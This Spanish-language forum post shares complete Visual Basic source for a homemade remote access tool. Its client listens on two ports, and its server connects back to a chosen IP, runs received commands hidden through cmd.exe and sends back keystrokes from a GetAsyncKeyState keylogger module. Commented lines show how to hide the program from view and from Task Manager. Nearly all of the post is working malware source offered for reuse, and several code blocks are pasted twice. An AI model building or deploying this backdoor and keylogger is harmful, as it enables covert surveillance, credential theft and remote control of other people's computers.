Bueno, este pequeño programa, lo fui armando de a poco con mis conocimientos basicos de visual basic, asi que esta formado en mayor parte por mi, pero tiene partes de otros codigos que fui encontrando en la web.
<----------------------------------->
Programacion:- Elementos:
3 TextBox
7 CommandButton
2 Controles Winsock
2 Timer
- Codigo del cliente:
Código:
Dim datos As String 'Creamos las variables
Dim datos2 As String
Dim estado As String
Private Sub Command1_Click()
If Winsock2.State = 0 Then Winsock2.Listen Else ' Si el winsock2 esta desconectado se conecta
Text2.Text = "" ' Borra el texto del text2
Winsock1.Close ' cierra el winsock1
estado = "keylogger" ' Le asigna el valor keylogger a la variable para el select case
End Sub
Private Sub Command2_Click()
If Winsock1.State = 7 Then ' si el winsock1 esta conectado (=7) entonces:
Winsock1.SendData Text1.Text ' envia el texto del text1
ElseIf Winsock1.State = 0 Then MsgBox "Desconectado con el server." 'Pero si el winsock1 esta desconectado entonces alerta que esta desconectado
Else: Winsock1.Close ' y cierra el winsock1
End If
End Sub
Private Sub Command3_Click()
If Winsock1.State = 0 Then Winsock1.Listen Else 'Si el winsock1 esta desconectado lo pone a la escucha
Winsock2.Close ' y cierra el winsock2 que es el del keylogger
estado = "consola" ' y le asigna el valor consola a la variable para el select case
End Sub
Private Sub Command4_Click()
MsgBox "Metodo de utilización: Para cambiar de carpeta y ver su contenido se utilizara de la siguiente forma: UBICACION && DIR (por ej: CD C:\Archivos de programa\ && DIR ); Si en algun otro caso no funciona deberas probar agregar lo que deceas hacer todo en una misma linea de comando, comando por comando separados por &&, ejemplos: CD C:\ && mkdir carpeta(para crear una carpeta); CD C:\ && del Archivo.exe (para borrar archivo.exe); ", , "Ayuda" ' Esto explica un poco como utilizar la consola, ya que se cierra despues de cada comando
End Sub
Private Sub Command5_Click()
MsgBox "El keylogger ira mostrando las teclas que se apretan en la pc que se encuentra ejecutado el servidor, podes guardar el log del keylogger precionando en save log y se guardara en el archivo C:\log.txt", , "Ayuda" ' esto explica un poco el keylogger
End Sub
Private Sub Command6_Click()
Open "C:\log.txt" For Output As #1 'esto es para guardar el log del keylogger
Print #1, Text3
Close #1
End Sub
Private Sub Command7_Click()
If Winsock1.State = 7 Then 'Esto es para borrar la "pantalla" de la consola
Winsock1.SendData "CLS"
End If
End Sub
Private Sub Form_Load()
Command4.Caption = "?"
Command5.Caption = "?"
Command3.Caption = "Start"
Command1.Caption = "Start"
Command6.Caption = "Save Log"
Command7.Caption = "CLS"
Winsock1.LocalPort = 1993
Winsock2.LocalPort = 1994
Timer2.Interval = 500
Timer1.Interval = 400
End Sub
Private Sub Timer1_Timer()
Select Case estado 'Este select case es el que cambia el titulo del form, para decir si estamos utilizando la consola o el keylogger
Case "consola"
Form1.Caption = "Conectado a la consola." ' ya que si esta funcionando la consola, el keylogger no anda
Case "keylogger"
Form1.Caption = "Conectado a el keylogger." ' y si esta funcionando el keylogger, la consola no anda
End Select
Text2.Text = datos 'El timer este tambien es el que hace que se actualice el texto de el text2
Text3.Text = datos2 'y del text3
End Sub
Private Sub Winsock1_ConnectionRequest(ByVal requestID As Long) 'esto es lo que hace que
Winsock1.Close
Winsock1.Accept requestID 'se acepte la conexion del server, cuando quiera conectarce la consola
End Sub
Private Sub Winsock2_ConnectionRequest(ByVal requestID As Long) 'Este es igual al anterior solo que con el keylogger
Winsock2.Close
Winsock2.Accept requestID
End Sub
Private Sub Winsock1_DataArrival(ByVal bytesTotal As Long) 'obtiene los datos que envia el winsock del server en el puerto 1993
Winsock1.GetData datos ' y los guarda en la variable datos
End Sub
Private Sub Winsock2_DataArrival(ByVal bytesTotal As Long) 'obtiene los datos que envia el winsock del server en el puerto 1994
Winsock2.GetData datos2 'y los guarda en la variable datos2
End Sub
Dim datos2 As String
Dim estado As String
Private Sub Command1_Click()
If Winsock2.State = 0 Then Winsock2.Listen Else ' Si el winsock2 esta desconectado se conecta
Text2.Text = "" ' Borra el texto del text2
Winsock1.Close ' cierra el winsock1
estado = "keylogger" ' Le asigna el valor keylogger a la variable para el select case
End Sub
Private Sub Command2_Click()
If Winsock1.State = 7 Then ' si el winsock1 esta conectado (=7) entonces:
Winsock1.SendData Text1.Text ' envia el texto del text1
ElseIf Winsock1.State = 0 Then MsgBox "Desconectado con el server." 'Pero si el winsock1 esta desconectado entonces alerta que esta desconectado
Else: Winsock1.Close ' y cierra el winsock1
End If
End Sub
Private Sub Command3_Click()
If Winsock1.State = 0 Then Winsock1.Listen Else 'Si el winsock1 esta desconectado lo pone a la escucha
Winsock2.Close ' y cierra el winsock2 que es el del keylogger
estado = "consola" ' y le asigna el valor consola a la variable para el select case
End Sub
Private Sub Command4_Click()
MsgBox "Metodo de utilización: Para cambiar de carpeta y ver su contenido se utilizara de la siguiente forma: UBICACION && DIR (por ej: CD C:\Archivos de programa\ && DIR ); Si en algun otro caso no funciona deberas probar agregar lo que deceas hacer todo en una misma linea de comando, comando por comando separados por &&, ejemplos: CD C:\ && mkdir carpeta(para crear una carpeta); CD C:\ && del Archivo.exe (para borrar archivo.exe); ", , "Ayuda" ' Esto explica un poco como utilizar la consola, ya que se cierra despues de cada comando
End Sub
Private Sub Command5_Click()
MsgBox "El keylogger ira mostrando las teclas que se apretan en la pc que se encuentra ejecutado el servidor, podes guardar el log del keylogger precionando en save log y se guardara en el archivo C:\log.txt", , "Ayuda" ' esto explica un poco el keylogger
End Sub
Private Sub Command6_Click()
Open "C:\log.txt" For Output As #1 'esto es para guardar el log del keylogger
Print #1, Text3
Close #1
End Sub
Private Sub Command7_Click()
If Winsock1.State = 7 Then 'Esto es para borrar la "pantalla" de la consola
Winsock1.SendData "CLS"
End If
End Sub
Private Sub Form_Load()
Command4.Caption = "?"
Command5.Caption = "?"
Command3.Caption = "Start"
Command1.Caption = "Start"
Command6.Caption = "Save Log"
Command7.Caption = "CLS"
Winsock1.LocalPort = 1993
Winsock2.LocalPort = 1994
Timer2.Interval = 500
Timer1.Interval = 400
End Sub
Private Sub Timer1_Timer()
Select Case estado 'Este select case es el que cambia el titulo del form, para decir si estamos utilizando la consola o el keylogger
Case "consola"
Form1.Caption = "Conectado a la consola." ' ya que si esta funcionando la consola, el keylogger no anda
Case "keylogger"
Form1.Caption = "Conectado a el keylogger." ' y si esta funcionando el keylogger, la consola no anda
End Select
Text2.Text = datos 'El timer este tambien es el que hace que se actualice el texto de el text2
Text3.Text = datos2 'y del text3
End Sub
Private Sub Winsock1_ConnectionRequest(ByVal requestID As Long) 'esto es lo que hace que
Winsock1.Close
Winsock1.Accept requestID 'se acepte la conexion del server, cuando quiera conectarce la consola
End Sub
Private Sub Winsock2_ConnectionRequest(ByVal requestID As Long) 'Este es igual al anterior solo que con el keylogger
Winsock2.Close
Winsock2.Accept requestID
End Sub
Private Sub Winsock1_DataArrival(ByVal bytesTotal As Long) 'obtiene los datos que envia el winsock del server en el puerto 1993
Winsock1.GetData datos ' y los guarda en la variable datos
End Sub
Private Sub Winsock2_DataArrival(ByVal bytesTotal As Long) 'obtiene los datos que envia el winsock del server en el puerto 1994
Winsock2.GetData datos2 'y los guarda en la variable datos2
End Sub
Quedaria mas o menos así:
Bueno, ese seria el cliente, ahora el servidor:
- Elementos:
4 Timer
2 Winsock
2 TextBox
1 Modulo Bas
Código:
Dim datos As String
Dim largo As Long
Dim texto As String
Private Sub Form_Load()
'Hide 'esto es para ocultar el form si le sacamos la comilla, el form se ocultara
'App.TaskVisible = False 'si le sacamos la comilla esto hace que el archivo al ser ejecutado no aparezca en el administrador de tareas
Winsock1.RemoteHost = "localhost" 'ACA VA EL IP AL QUE QUEREMOS QUE SE CONECTE EL SERVER
Winsock1.RemotePort = 1993 ' este dejenlo asi
Winsock2.RemoteHost = "localhost" ' ACA VA EL MISMO IP AL QUE QUEREMOS CONECTARNOS
Winsock2.RemotePort = 1994 ' este dejenlo asi
Timer1.Interval = 200
Timer2.Interval = 200
Timer3.Interval = 200
Timer4.Interval = 1
Open "C:\consola.txt" For Output As #1 'Esto es para crear el archivo consola.txt
Close #1
End Sub
Private Sub Timer1_Timer()
If datos = "" Then
Else: Shell ("cmd.exe /c " & datos & " > C:\consola.txt"), vbHide 'ejecuta los comandos recividos y los guarda en consola.txt
datos = "" 'borra el comando recivido luego de ejecutarlo
End If
End Sub
Private Sub Timer2_Timer()
If Winsock1.State = 0 Then ' si el winsock1 esta desconectado entonces
Winsock1.Connect ' conecta el winsock1!
ElseIf Winsock1.State = 7 Then Form1.Caption = "Conectado." 'y muestra en el caption del form que se conecto
Else: Winsock1.Close
End If
If Winsock2.State = 0 Then ' si el winsock2 esta desconectado entonces
Winsock2.Connect ' conecta el winsock2!
ElseIf Winsock2.State = 7 Then Form1.Caption = "Conectado." 'y muestra en el caption del form que se conecto
Else: Winsock2.Close
End If
Open "c:\consola.txt" For Input As #1 ' abre el consola.txt y
largo = FileLen("c:\consola.txt")
texto = Input(largo, #1) ' guarda el consola.txt en la variable texto
Close #1
Text1.Text = texto ' abre en el text1 la variable texto que contiene el consola.txt
End Sub
Private Sub Timer3_Timer()
If Winsock1.State = 7 Then 'si esta conectado (= 7)
Winsock1.SendData Text1.Text ' manda lo que mostro la consola
Else
End If
If Winsock2.State = 7 Then 'si esta conectado (= 7)
Winsock2.SendData Text2.Text ' manda lo que guardo el keylogger
Else
End If
End Sub
Private Sub Timer4_Timer()
If obtenerlateclapresionada Then
Text2.Text = Text2.Text + Tecla_Presionada 'guarda las teclas en el text2
End If
End Sub
Private Sub Winsock1_DataArrival(ByVal bytesTotal As Long)
Winsock1.GetData datos 'recive el comando para ejecutar y lo guarda en la variable datos
End Sub
Dim largo As Long
Dim texto As String
Private Sub Form_Load()
'Hide 'esto es para ocultar el form si le sacamos la comilla, el form se ocultara
'App.TaskVisible = False 'si le sacamos la comilla esto hace que el archivo al ser ejecutado no aparezca en el administrador de tareas
Winsock1.RemoteHost = "localhost" 'ACA VA EL IP AL QUE QUEREMOS QUE SE CONECTE EL SERVER
Winsock1.RemotePort = 1993 ' este dejenlo asi
Winsock2.RemoteHost = "localhost" ' ACA VA EL MISMO IP AL QUE QUEREMOS CONECTARNOS
Winsock2.RemotePort = 1994 ' este dejenlo asi
Timer1.Interval = 200
Timer2.Interval = 200
Timer3.Interval = 200
Timer4.Interval = 1
Open "C:\consola.txt" For Output As #1 'Esto es para crear el archivo consola.txt
Close #1
End Sub
Private Sub Timer1_Timer()
If datos = "" Then
Else: Shell ("cmd.exe /c " & datos & " > C:\consola.txt"), vbHide 'ejecuta los comandos recividos y los guarda en consola.txt
datos = "" 'borra el comando recivido luego de ejecutarlo
End If
End Sub
Private Sub Timer2_Timer()
If Winsock1.State = 0 Then ' si el winsock1 esta desconectado entonces
Winsock1.Connect ' conecta el winsock1!
ElseIf Winsock1.State = 7 Then Form1.Caption = "Conectado." 'y muestra en el caption del form que se conecto
Else: Winsock1.Close
End If
If Winsock2.State = 0 Then ' si el winsock2 esta desconectado entonces
Winsock2.Connect ' conecta el winsock2!
ElseIf Winsock2.State = 7 Then Form1.Caption = "Conectado." 'y muestra en el caption del form que se conecto
Else: Winsock2.Close
End If
Open "c:\consola.txt" For Input As #1 ' abre el consola.txt y
largo = FileLen("c:\consola.txt")
texto = Input(largo, #1) ' guarda el consola.txt en la variable texto
Close #1
Text1.Text = texto ' abre en el text1 la variable texto que contiene el consola.txt
End Sub
Private Sub Timer3_Timer()
If Winsock1.State = 7 Then 'si esta conectado (= 7)
Winsock1.SendData Text1.Text ' manda lo que mostro la consola
Else
End If
If Winsock2.State = 7 Then 'si esta conectado (= 7)
Winsock2.SendData Text2.Text ' manda lo que guardo el keylogger
Else
End If
End Sub
Private Sub Timer4_Timer()
If obtenerlateclapresionada Then
Text2.Text = Text2.Text + Tecla_Presionada 'guarda las teclas en el text2
End If
End Sub
Private Sub Winsock1_DataArrival(ByVal bytesTotal As Long)
Winsock1.GetData datos 'recive el comando para ejecutar y lo guarda en la variable datos
End Sub
Ahora, el codigo del modulo es el siguiente:
Código:
'El modulo del keylogger no fue programado por mi, lo encontre en internet, y lo tome prestado. no se a quien pertenece sino lo pondria.
Private Declare Function Estadodelteclado Lib "user32" Alias "GetKeyboardState" _
(Estadodelatecla As Byte) As Long
Const VK_CAPITAL = &H14
Private Declare Function Estadodelatecla Lib "user32" _
Alias "GetKeyState" (ByVal nVirtKey As Long) As Integer
Private Declare Function Obtenersisepresionolatecla Lib "user32" _
Alias "GetAsyncKeyState" (ByVal vKey As Long) As Integer
Private Const Tecla_shift As Integer = 16
Private Buscar_tecla As Integer
Private Resultado_tecla As Long
Private bShift As Boolean
Public Tecla_Presionada As String
Public Function obtenerlateclapresionada() As Boolean
Buscar_tecla = 65
Do Until Buscar_tecla = 91
Resultado_tecla = Obtenersisepresionolatecla(Buscar_tecla)
If Resultado_tecla = -32767 Then
Resultado_tecla = Estadodelatecla(Tecla_shift)
Tecla_Presionada = IIf(Resultado_tecla < 0, Chr(Buscar_tecla), LCase(Chr(Buscar_tecla)))
Dim stado As Boolean
Call capslock_rm(stado)
If stado = True Then
Tecla_Presionada = UCase(Tecla_Presionada)
End If
GoTo teclaencontrada
End If
Buscar_tecla = Buscar_tecla + 1
Loop
Buscar_tecla = 48
Do Until Buscar_tecla = 57
Resultado_tecla = Obtenersisepresionolatecla(Buscar_tecla)
If Resultado_tecla = -32767 Then
Resultado_tecla = Estadodelatecla(Tecla_shift)
If Resultado_tecla < 0 Then
If Buscar_tecla = 48 Then Tecla_Presionada = "="
If Buscar_tecla = 49 Then Tecla_Presionada = "!"
If Buscar_tecla = 50 Then Tecla_Presionada = "'"
If Buscar_tecla = 51 Then Tecla_Presionada = "#"
If Buscar_tecla = 52 Then Tecla_Presionada = "$"
If Buscar_tecla = 53 Then Tecla_Presionada = "%"
If Buscar_tecla = 54 Then Tecla_Presionada = "^"
If Buscar_tecla = 55 Then Tecla_Presionada = "&"
If Buscar_tecla = 56 Then Tecla_Presionada = "*"
If Buscar_tecla = 58 Then Tecla_Presionada = "("
Else
Tecla_Presionada = Chr(Buscar_tecla)
End If
GoTo teclaencontrada
End If
Buscar_tecla = Buscar_tecla + 1
Loop
Resultado_tecla = Obtenersisepresionolatecla(13)
If Resultado_tecla = -32767 Then
Tecla_Presionada = vbCrLf
GoTo teclaencontrada
End If
Resultado_tecla = Obtenersisepresionolatecla(32)
If Resultado_tecla = -32767 Then
Tecla_Presionada = " "
GoTo teclaencontrada
End If
Resultado_tecla = Obtenersisepresionolatecla(8)
If Resultado_tecla = -32767 Then
Tecla_Presionada = " BKSP "
GoTo teclaencontrada
End If
Resultado_tecla = Obtenersisepresionolatecla(46)
If Resultado_tecla = -32767 Then
Tecla_Presionada = " DEL "
GoTo teclaencontrada
End If
Resultado_tecla = Obtenersisepresionolatecla(190)
If Resultado_tecla = -32767 Then
Resultado_tecla = Estadodelatecla(Tecla_shift)
Tecla_Presionada = IIf(Resultado_tecla < 0, ">", ".")
GoTo teclaencontrada
End If
Resultado_tecla = Obtenersisepresionolatecla(188)
If Resultado_tecla = -32767 Then
Resultado_tecla = Estadodelatecla(Tecla_shift)
Tecla_Presionada = IIf(Resultado_tecla < 0, "<", ",")
GoTo teclaencontrada
End If
Resultado_tecla = Obtenersisepresionolatecla(186)
If Resultado_tecla = -32767 Then
Resultado_tecla = Estadodelatecla(Tecla_shift)
Tecla_Presionada = IIf(Resultado_tecla < 0, ":", ";")
GoTo teclaencontrada
End If
Resultado_tecla = Obtenersisepresionolatecla(191)
If Resultado_tecla = -32767 Then
Resultado_tecla = Estadodelatecla(Tecla_shift)
Tecla_Presionada = IIf(Resultado_tecla < 0, "?", "/")
GoTo teclaencontrada
End If
Resultado_tecla = Obtenersisepresionolatecla(222)
If Resultado_tecla = -32767 Then
Resultado_tecla = Estadodelatecla(Tecla_shift)
Tecla_Presionada = IIf(Resultado_tecla < 0, """", "'")
GoTo teclaencontrada
End If
Resultado_tecla = Obtenersisepresionolatecla(192)
If Resultado_tecla = -32767 Then
Resultado_tecla = Estadodelatecla(Tecla_shift)
Tecla_Presionada = IIf(Resultado_tecla < 0, "~", "`")
GoTo teclaencontrada
End If
Resultado_tecla = Obtenersisepresionolatecla(189)
If Resultado_tecla = -32767 Then
Resultado_tecla = Estadodelatecla(Tecla_shift)
Tecla_Presionada = IIf(Resultado_tecla < 0, "_", "-")
GoTo teclaencontrada
End If
Resultado_tecla = Obtenersisepresionolatecla(187)
If Resultado_tecla = -32767 Then
Resultado_tecla = Estadodelatecla(Tecla_shift)
Tecla_Presionada = IIf(Resultado_tecla < 0, "+", "=")
GoTo teclaencontrada
End If
obtenerlateclapresionada = False
Exit Function
teclaencontrada:
obtenerlateclapresionada = True
End Function
Public Sub capslock_rm(estado As Boolean)
Dim EstadodelCapsLock As Boolean
Dim teclas(0 To 255) As Byte
Estadodelteclado teclas(0)
EstadodelCapsLock = teclas(VK_CAPITAL)
If EstadodelCapsLock <> True Then
estado = False
ElseIf EstadodelCapsLock <> False Then
estado = True
End If
End Sub
y el server quedaria mas o menos así:Private Declare Function Estadodelteclado Lib "user32" Alias "GetKeyboardState" _
(Estadodelatecla As Byte) As Long
Const VK_CAPITAL = &H14
Private Declare Function Estadodelatecla Lib "user32" _
Alias "GetKeyState" (ByVal nVirtKey As Long) As Integer
Private Declare Function Obtenersisepresionolatecla Lib "user32" _
Alias "GetAsyncKeyState" (ByVal vKey As Long) As Integer
Private Const Tecla_shift As Integer = 16
Private Buscar_tecla As Integer
Private Resultado_tecla As Long
Private bShift As Boolean
Public Tecla_Presionada As String
Public Function obtenerlateclapresionada() As Boolean
Buscar_tecla = 65
Do Until Buscar_tecla = 91
Resultado_tecla = Obtenersisepresionolatecla(Buscar_tecla)
If Resultado_tecla = -32767 Then
Resultado_tecla = Estadodelatecla(Tecla_shift)
Tecla_Presionada = IIf(Resultado_tecla < 0, Chr(Buscar_tecla), LCase(Chr(Buscar_tecla)))
Dim stado As Boolean
Call capslock_rm(stado)
If stado = True Then
Tecla_Presionada = UCase(Tecla_Presionada)
End If
GoTo teclaencontrada
End If
Buscar_tecla = Buscar_tecla + 1
Loop
Buscar_tecla = 48
Do Until Buscar_tecla = 57
Resultado_tecla = Obtenersisepresionolatecla(Buscar_tecla)
If Resultado_tecla = -32767 Then
Resultado_tecla = Estadodelatecla(Tecla_shift)
If Resultado_tecla < 0 Then
If Buscar_tecla = 48 Then Tecla_Presionada = "="
If Buscar_tecla = 49 Then Tecla_Presionada = "!"
If Buscar_tecla = 50 Then Tecla_Presionada = "'"
If Buscar_tecla = 51 Then Tecla_Presionada = "#"
If Buscar_tecla = 52 Then Tecla_Presionada = "$"
If Buscar_tecla = 53 Then Tecla_Presionada = "%"
If Buscar_tecla = 54 Then Tecla_Presionada = "^"
If Buscar_tecla = 55 Then Tecla_Presionada = "&"
If Buscar_tecla = 56 Then Tecla_Presionada = "*"
If Buscar_tecla = 58 Then Tecla_Presionada = "("
Else
Tecla_Presionada = Chr(Buscar_tecla)
End If
GoTo teclaencontrada
End If
Buscar_tecla = Buscar_tecla + 1
Loop
Resultado_tecla = Obtenersisepresionolatecla(13)
If Resultado_tecla = -32767 Then
Tecla_Presionada = vbCrLf
GoTo teclaencontrada
End If
Resultado_tecla = Obtenersisepresionolatecla(32)
If Resultado_tecla = -32767 Then
Tecla_Presionada = " "
GoTo teclaencontrada
End If
Resultado_tecla = Obtenersisepresionolatecla(8)
If Resultado_tecla = -32767 Then
Tecla_Presionada = " BKSP "
GoTo teclaencontrada
End If
Resultado_tecla = Obtenersisepresionolatecla(46)
If Resultado_tecla = -32767 Then
Tecla_Presionada = " DEL "
GoTo teclaencontrada
End If
Resultado_tecla = Obtenersisepresionolatecla(190)
If Resultado_tecla = -32767 Then
Resultado_tecla = Estadodelatecla(Tecla_shift)
Tecla_Presionada = IIf(Resultado_tecla < 0, ">", ".")
GoTo teclaencontrada
End If
Resultado_tecla = Obtenersisepresionolatecla(188)
If Resultado_tecla = -32767 Then
Resultado_tecla = Estadodelatecla(Tecla_shift)
Tecla_Presionada = IIf(Resultado_tecla < 0, "<", ",")
GoTo teclaencontrada
End If
Resultado_tecla = Obtenersisepresionolatecla(186)
If Resultado_tecla = -32767 Then
Resultado_tecla = Estadodelatecla(Tecla_shift)
Tecla_Presionada = IIf(Resultado_tecla < 0, ":", ";")
GoTo teclaencontrada
End If
Resultado_tecla = Obtenersisepresionolatecla(191)
If Resultado_tecla = -32767 Then
Resultado_tecla = Estadodelatecla(Tecla_shift)
Tecla_Presionada = IIf(Resultado_tecla < 0, "?", "/")
GoTo teclaencontrada
End If
Resultado_tecla = Obtenersisepresionolatecla(222)
If Resultado_tecla = -32767 Then
Resultado_tecla = Estadodelatecla(Tecla_shift)
Tecla_Presionada = IIf(Resultado_tecla < 0, """", "'")
GoTo teclaencontrada
End If
Resultado_tecla = Obtenersisepresionolatecla(192)
If Resultado_tecla = -32767 Then
Resultado_tecla = Estadodelatecla(Tecla_shift)
Tecla_Presionada = IIf(Resultado_tecla < 0, "~", "`")
GoTo teclaencontrada
End If
Resultado_tecla = Obtenersisepresionolatecla(189)
If Resultado_tecla = -32767 Then
Resultado_tecla = Estadodelatecla(Tecla_shift)
Tecla_Presionada = IIf(Resultado_tecla < 0, "_", "-")
GoTo teclaencontrada
End If
Resultado_tecla = Obtenersisepresionolatecla(187)
If Resultado_tecla = -32767 Then
Resultado_tecla = Estadodelatecla(Tecla_shift)
Tecla_Presionada = IIf(Resultado_tecla < 0, "+", "=")
GoTo teclaencontrada
End If
obtenerlateclapresionada = False
Exit Function
teclaencontrada:
obtenerlateclapresionada = True
End Function
Public Sub capslock_rm(estado As Boolean)
Dim EstadodelCapsLock As Boolean
Dim teclas(0 To 255) As Byte
Estadodelteclado teclas(0)
EstadodelCapsLock = teclas(VK_CAPITAL)
If EstadodelCapsLock <> True Then
estado = False
ElseIf EstadodelCapsLock <> False Then
estado = True
End If
End Sub
Bueno este es mi primer aporte , Espero que les sirva, y si pueden modificar y perfeccionar el codigo, seria muy bueno que lo posteen aca. ya que seguramente tiene algun error, o alguna modificacion para que funcione mejor.
Si falta algo, me comentan.
Suerte!